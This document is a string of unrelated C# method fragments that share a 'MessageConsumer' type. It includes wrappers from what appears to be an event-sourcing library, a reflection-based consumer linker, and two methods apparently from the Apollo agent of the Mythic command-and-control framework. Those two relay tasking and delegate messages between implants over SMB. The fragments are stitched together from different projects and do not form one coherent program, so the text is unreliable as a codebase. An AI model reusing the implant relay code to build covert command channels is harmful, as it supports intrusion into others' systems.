public TracedConsumer(MessageConsumer messageConsumer) { _inner = messageConsumer; _defaultTags = new[] { new KeyValuePair <string, object?>( TelemetryTags.Eventuous.Consumer, messageConsumer.GetType().Name ) }; }
public ConcurrentConsumer( MessageConsumer eventHandler, int concurrencyLimit, int bufferSize = 10 ) { _inner = Ensure.NotNull(eventHandler, nameof(eventHandler)); _innerType = _inner.GetType(); _worker = new ConcurrentChannelWorker <DelayedAckConsumeContext>( Channel.CreateBounded <DelayedAckConsumeContext>(concurrencyLimit * bufferSize), DelayedConsume, concurrencyLimit ); }
private void AutoLink(MessageConsumer consumer) { foreach (var field in consumer .GetType() .GetFields() .Where(a => a.GetCustomAttributes(true).Any(b => b.GetType().IsAssignableFrom(typeof(LinkedConsumerAttribute)))) .Select(a => new KeyValuePair <LinkedConsumerAttribute, FieldInfo>((a.GetCustomAttributes(true).Where(b => b.GetType() == typeof(LinkedConsumerAttribute)).First() as LinkedConsumerAttribute), a))) { try { var c = consumers.Where(a => a.Value.GetType().IsAssignableFrom(field.Value.FieldType)); var d = c.Where(a => a.Key == field.Key.Id); MessageConsumer msgConsumer = null; if (d.Count() == 0 && !field.Key.Optional) { var cons = field.Value.FieldType.GetConstructor(new Type[] { typeof(Guid) }); if (cons != null) { msgConsumer = RegisterConsumer((MessageConsumer)cons.Invoke(new object[] { field.Key.Id })); } } else { msgConsumer = d.First().Value; } if (msgConsumer == null) { throw new InvalidOperationException("No such consumer exists for linking"); } field.Value.SetValue(consumer, msgConsumer); } catch (InvalidOperationException e) { if (!field.Key.Optional) { throw new InvalidOperationException("No such consumer exists for linking " + field.Value.FieldType); } } } }
public override void SendMessagesToProducers() { Mythic.Structs.TaskResponse apfellResponse; string json; string id; DebugWriteLine($"Beginning loop to send messages from {MessageProducer.GetType().Name} to {MessageConsumer.GetType().Name}"); while (MessageProducer.IsConnected() && !StopAllThreads) { try // Try block for HTTP requests { //Dictionary<string, string>[] delegateMessages = new Dictionary<string, string>[] { }; if (SyncDelegateMessageRequestQueue.Count > 0) { DebugWriteLine($"{MessageProducer.HostName} using {MessageProducer.GetType().Name} has {SyncDelegateMessageRequestQueue.Count} messages to send."); var requestMessages = PopDelegateMessageRequestQueue(); id = Guid.NewGuid().ToString(); apfellResponse = new Mythic.Structs.TaskResponse { action = "post_response", responses = new Apollo.Tasks.ApolloTaskResponse[] { }, delegates = requestMessages, message_id = id }; DebugWriteLine($"Attempting to serialize {requestMessages.Length} messages to JSON..."); json = JsonConvert.SerializeObject(apfellResponse); DebugWriteLine($"SUCCESS! Serialized {requestMessages.Length} messages to JSON."); DebugWriteLine($"Attempting to send new message with ID {id} carrying {requestMessages.Length} delegate messages to {MessageConsumer.GetType().Name}..."); if (MessageConsumer.Send(id, json)) { // I think this is where the issue is for SMB to SMB relays DebugWriteLine($"SUCCESS! Sent new message with ID {id} carrying {requestMessages.Length} delegate messages to {MessageConsumer.GetType().Name}."); DebugWriteLine($"Waiting for reply to message ID {id} from {MessageConsumer.GetType().Name}..."); Mythic.Structs.TaskResponse resp = JsonConvert.DeserializeObject <Mythic.Structs.TaskResponse>((string)Inbox.GetMessage(id)); DebugWriteLine($"SUCCESS! Received reply to message ID {id} from {MessageConsumer.GetType().Name}!"); if (resp.delegates.Length > 0) { DebugWriteLine($"Message {id} from {MessageConsumer.GetType().Name} had {resp.delegates.Length} messages to send. Sending to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); int i = 0; foreach (var dmsg in resp.delegates) { SendMessageToProducer(dmsg[dmsg.Keys.First()]); i++; DebugWriteLine($"Sent {i} of {resp.delegates.Length} messages originating from message with inbox ID {id} from {MessageConsumer.GetType().Name} to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); } DebugWriteLine($"Finished sending {resp.delegates.Length} delegate messages originating from message with inbox ID {id} from {MessageConsumer.GetType().Name} to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); } } else { DebugWriteLine($"ERROR! Failed to send message from {MessageConsumer.GetType().Name} to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); } } if (SyncDelegateMessageTaskQueue.Count > 0) { DebugWriteLine($"Have {SyncDelegateMessageTaskQueue.Count} tasks to send from {MessageConsumer.GetType().Name} to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); var msgs = PopDelegateMessageTaskQueue(); DebugWriteLine($"Popped {msgs.Length} tasks to send from {MessageConsumer.GetType().Name} to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); int i = 0; foreach (var dmsg in msgs) { SendMessageToProducer(dmsg); i++; DebugWriteLine($"Sent {i} of {msgs.Length} tasks from {MessageConsumer.GetType().Name} to {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); } } //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); //throw (new Exception($"POST Task Response {taskresp.task} Failed")); } catch (Exception ex) // Catch exceptions from HTTP request or retry exceeded { DebugWriteLine($"ERROR! Reason: {ex.Message}\n\tStack Trace: {ex.StackTrace}"); } } DebugWriteLine($"Exiting function."); }
public override void ReadMessagesFromProducer(string registrationGuidMsgID) { string producerMessage = ""; SMBMessage smbMsg = new SMBMessage(); Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >(); DebugWriteLine($"New UUID Registration for Agent will have Message ID: {registrationGuidMsgID}"); DebugWriteLine($"Beginning loop to read messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); while (MessageProducer.IsConnected() && !StopAllThreads) { try { DebugWriteLine($"Waiting to read message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); smbMsg = MessageProducer.ReadMessage(); DebugWriteLine($"SUCCESS! Got a message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}!"); if (smbMsg != null && smbMsg.MessageObject != null) { DebugWriteLine($"Message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} was non-null."); if (smbMsg.MessageType == "uuid_registration") { DebugWriteLine($"UUID Registration message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} received!"); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); // This should pop twice. First on initial connect, then second on received UUID AgentUUID = producerMessage; DebugWriteLine($"Set AgentUUID to {AgentUUID}. Adding registration message to inbox with message ID {registrationGuidMsgID}..."); Inbox.AddMessage(registrationGuidMsgID, producerMessage); DebugWriteLine($"SUCCESS! Added registration message to inbox with message ID {registrationGuidMsgID}"); } else if (smbMsg.MessageType == "chunked_message") { //SMBChunkedMessage tmp = (SMBChunkedMessage)smbMsg; if (!chunkedMessages.ContainsKey(smbMsg.MessageID)) { chunkedMessages[smbMsg.MessageID] = new List <SMBMessage>(); } chunkedMessages[smbMsg.MessageID].Add(smbMsg); if (chunkedMessages[smbMsg.MessageID].Count == smbMsg.MaxMessages) { byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[smbMsg.MessageID]); chunkedMessages.Remove(smbMsg.MessageID); producerMessage = Encoding.UTF8.GetString(fullMessage); AddMessageToRequestQueue(producerMessage); } } else { DebugWriteLine($"Adding new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue..."); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); AddMessageToRequestQueue(producerMessage); DebugWriteLine($"SUCCESS! Added new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue."); } } } catch (Exception ex) { DebugWriteLine($"ERROR! Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}"); StopAllThreads = true; } finally { producerMessage = ""; smbMsg = null; //Thread.Sleep(SleepTime); } } DebugWriteLine($"Stopped reading messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); }
public FilterConsumer(MessageConsumer inner, FilterMessage filter) { _inner = Ensure.NotNull(inner, nameof(inner)); _filter = Ensure.NotNull(filter, nameof(filter)); _innerType = _inner.GetType(); }